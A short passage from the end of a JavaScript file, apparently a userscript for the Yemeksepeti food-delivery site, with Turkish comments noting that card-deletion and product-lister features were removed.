  // ============ KART SİLME FONKSİYONLARI ============
  // Not: Kart silme özelliği kaldırıldı

  // ============ PRODUCT LISTER ============
  // Not: Product Lister özelliği kaldırıldı - Yemeksepeti artık kendi API'sinde bunu yapıyor

})();